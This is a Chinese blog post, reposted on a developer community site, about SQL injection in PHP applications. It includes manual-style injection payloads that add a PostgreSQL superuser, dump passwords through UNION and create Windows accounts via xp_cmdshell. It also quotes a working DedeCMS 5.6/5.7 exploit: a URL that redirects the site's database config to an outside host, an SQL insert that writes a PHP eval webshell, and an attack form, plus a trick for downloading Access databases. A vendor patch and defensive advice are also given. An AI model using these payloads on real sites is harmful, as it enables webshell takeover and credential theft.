PHP等语言SQL注入的问题-阿里云开发者社区

开发者社区> 余二五> 正文

PHP等语言SQL注入的问题

简介:
+关注继续查看

  很多人在做开发的时候并没有注意到SQL的查询是可以被改掉的,其实SQL却是最不安全的因素之一,通过SQL,更有可能去直接执行系统命令,在服务器上新建用户,修改密码等操作也不是不可能。

   直接 SQL 命令注入就是攻击者常用的一种创建或修改已有 SQL 语句的技术,从而达到取得隐藏数据,或覆盖关键的值,甚至执行数据库主机操作系统命令的目的。这是通过应用程序取得用户输入并与静态参数组合成 SQL 查询来实现的。

1
2
3
$offset $argv[0]; // 注意,没有输入验证!
$query  "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";
$result = pg_query($conn$query);


这是最普通的分页例子,但是如果有人把下面的语句通过unlencecode()编码以后,

1
2
3
4
5
0;
insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd)
    select 'crack', usesysid, 't','t','crack'
    from pg_shadow where usename='postgres';
--


再把这语句插入到url以后.就会在数据的表中插入一个用户(通过字段猜测,不过肯定是插入数据了)

注意那个 0; 只不过是为了提供一个正确的偏移量以便补充完整原来的查询,使它不要出错而已。 ,这个是手册上的例子

1
2
3
4
$query  = "SELECT id, name, inserted, size FROM products
                  WHERE size = '$size'
                  ORDER BY $order LIMIT $limit$offset;";
$result = odbc_exec($conn$query);


可以在原来的查询的基础上添加另一个 SELECT 查询来获得密码:

1
2
3
'
union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from usertable;
--



再比如:

1
2
3
4
<?php
$query  "SELECT * FROM products WHERE id LIKE '%$prod%'";
$result = mssql_query($query);
?>


如果攻击提交 a%' exec master..xp_cmdshell 'net user test testpass /ADD' -- 作为变量 $prod的值,那么 $query 将会变成


1
2
3
4
5
6
<?php
$query  = "SELECT * FROM products
                    WHERE id LIKE '%a%'
                    exec master..xp_cmdshell 'net user test testpass /ADD'--";
$result = mssql_query($query);
?>



   有人说以上的攻击必须得知道数据表的结构等阿,但是没人能保证他们获取不到这些信息阿,不管通过猜测还是,比如用户表最常用的就是user,admin表,什么节点表access啊,不是没有可能

   而且还有通过修改form表单,添加隐藏域的方法来提交表单,asp的更恐怖, 通过sql注入来猜测数据库语句之类的,而mysql中sql语言不对会报错,不过,依然不要相信别人输入的数据。

   最好对每个客户端发送的数据进行严格的检查过滤。以保证网站的安全。而且,可以的话,最好建立一个日志系统,方便你查看网站是否没入侵过。

   PHP中免费的开源产品,如dede,帝国,dz,ecshop等,使用者不再少数!不过,越是开源的产品越危险!因为别人很容易就很获取到你的数据库结构,网站目录结构!网站所有代码!攻击网站也轻而易举:

   举例说明,dedeV5.7的

092617752.jpg


   通过这个方法已经有人发明出来dede批量拿站!不仅可以自己扫描dede的站,而且自动获取后台!帐号!密码!

   dede后台上传漏洞就不用说了吧,新手都会。用上面的方法得到帐号密码以后,直接上传什么一句话,小马,大马,网站再怎么修复都没用了。

   

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
漏洞不是我发的,这里仅仅只是分析这个漏洞的成因   
    今天看到微博看到dedecms出洞了,上土司看了一下,同一个问题,暂时公布的有2个位置,
dede/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
    上面这个是知道后台地址的利用方式
    另一种如下,下本地装一个dede,执行一下语句,很简单,写了一个dedetag,生成shell的
SQL 语句:
insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'<?php eval($_POST[c]) ?>\');echo "OK";@fclose($fp);{/dede:php}');
    再用构造的表单提交数据库信息到plus/mytag_js.php?aid=1,覆盖掉数据库的全局参数,导致目标站的mysql类链接到黑客构造的mysql数据库,shell 在同目录下 1.php
    分析下mytag_js.php,一开始引用了配置文件,跟进去看看:
require_once(dirname(__FILE__).'/../include/common.inc.php');
    会发现下面代码:
以下是引用片段:
if (!defined('DEDEREQUEST')) 
{
    //检查和注册外部提交的变量
    foreach($_REQUEST as $_k=>$_v)//这里是关键,
    {
        ifstrlen($_k)>0 && preg_match('/^(cfg_|GLOBALS)/',$_k) )//这里是关键,
        {//如果键名中有cfg_或GLOBALS,就退出了
            exit('Request var not allow!');
        }
    }
    foreach(Array('_GET','_POST','_COOKIE'as $_request)
    {
        foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);//addslashes过滤的
    }
}
    上面这个套路过滤了引号之类的注入问题,变量覆盖虽有过滤,但是没过滤完全,被多维数组绕过了,
    如_COOKIE[GLOBALS][cfg_dbuser]这个变量,foreach($_REQUEST as $_k=>$_v)之后,这个$k变成_COOKIE,从而绕过了过滤
    $v变成了[GLOBALS][cfg_dbuser],从而覆盖了data/common.inc.php中的数据库配置变量,
    测试5.6 ,5.7都存在,用dedecms的站非常多,这次估计得悲剧一大片。
    修补的方法官方论坛有位斑竹给出了代码,如下
    找到include/common.inc.php文件
    找到
foreach($_REQUEST as $_k=>$_v)
{
ifstrlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) )
{
  exit('Request var not allow!');
}
}
    替换为下面的代码:
function CheckRequest(&$val) {
        if (is_array($val)) {
            foreach ($val as $_k=>$_v) {
                CheckRequest($_k);
                CheckRequest($val[$_k]);
            }
        else
        {
            ifstrlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) )
            {
                exit('Request var not allow!');
            }
        }
    }
CheckRequest($_REQUEST);
------------------------------------------------------------------------------------------------
    By:jannock
    漏洞细节已经传遍了(http://www.t00ls.net/thread-17354-1-1.html,http://lcx.cc/?FoxNews=1681.html),又没得玩了。
    网传的都是说要知道后台才能利用,但不用,只要 plus 目录存在,服务器能外连,就能拿shell。
    前题条件,必须准备好自己的dede数据库,然后插入数据:
以下是引用片段:
insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'<?php eval($_POST[c]) ?>\');echo "OK";@fclose($fp);{/dede:php}');
    再用下面表单提交,shell 就在同目录下  1.php。原理自己研究。。。
以下是引用片段:
<form action="" method="post" name="QuickSearch" id="QuickSearch" onsubmit="addaction();">
<input type="text" value="http://localhost:8080/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>


上面一段是引用的,直接把目标站的数据库替换成自己本地的数据库,下一步就不用介绍了吧。


再例如:asp+access的网站,前两天工作需要玩的,只要知道路径!直接可以下载下来数据库!网上说的把数据库的名称改的复杂点,带特殊字符之类的!我就弄过一个站!网址不说了用www.xxx.com代替


093647466.jpg

093647884.jpg

093647909.jpg

这样的下载不下来是么?


094123258.jpg

094123370.jpg

   好像确实是,但是我把Da#%#ta.mdb改成Da%23%%23ta.mdb呢?呵呵,这安全系数,自己的数据库别人随便下载,其他还有什么能保留住的呢?


   所以,为了自己网站的安全,一定要在每个细节都多考虑一下,不怕多两行代码,多做两个判断!安全比性能更重要!










本文转自 3147972 51CTO博客,原文链接:http://blog.51cto.com/a3147972/1226402,如需转载请自行联系原作者

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
使用NAT网关轻松为单台云服务器设置多个公网IP
在应用中,有时会遇到用户询问如何使单台云服务器具备多个公网IP的问题。 具体如何操作呢,有了NAT网关这个也不是难题。
26789 0
阿里云服务器怎么设置密码?怎么停机?怎么重启服务器?
如果在创建实例时没有设置密码,或者密码丢失,您可以在控制台上重新设置实例的登录密码。本文仅描述如何在 ECS 管理控制台上修改实例登录密码。
10081 0
windows server 2008阿里云ECS服务器安全设置
最近我们Sinesafe安全公司在为客户使用阿里云ecs服务器做安全的过程中,发现服务器基础安全性都没有做。为了为站长们提供更加有效的安全基础解决方案,我们Sinesafe将对阿里云服务器win2008 系统进行基础安全部署实战过程! 比较重要的几部分 1.
9160 0
阿里云服务器如何登录?阿里云服务器的三种登录方法
购买阿里云ECS云服务器后如何登录?场景不同,阿里云优惠总结大概有三种登录方式: 登录到ECS云服务器控制台 在ECS云服务器控制台用户可以更改密码、更换系.
13885 0
腾讯云服务器 设置ngxin + fastdfs +tomcat 开机自启动
在tomcat中新建一个可以启动的 .sh 脚本文件 /usr/local/tomcat7/bin/ export JAVA_HOME=/usr/local/java/jdk7 export PATH=$JAVA_HOME/bin/:$PATH export CLASSPATH=.
4659 0
阿里云ECS云服务器初始化设置教程方法
阿里云ECS云服务器初始化是指将云服务器系统恢复到最初状态的过程,阿里云的服务器初始化是通过更换系统盘来实现的,是免费的,阿里云百科网分享服务器初始化教程: 服务器初始化教程方法 本文的服务器初始化是指将ECS云服务器系统恢复到最初状态,服务器中的数据也会被清空,所以初始化之前一定要先备份好。
7365 0
阿里云服务器ECS登录用户名是什么?系统不同默认账号也不同
阿里云服务器Windows系统默认用户名administrator,Linux镜像服务器用户名root
4504 0
+关注
20382
文章
0
问答
文章排行榜
最热
最新
相关电子书
更多
《2021云上架构与运维峰会演讲合集》
立即下载
《零基础CSS入门教程》
立即下载
《零基础HTML入门教程》
立即下载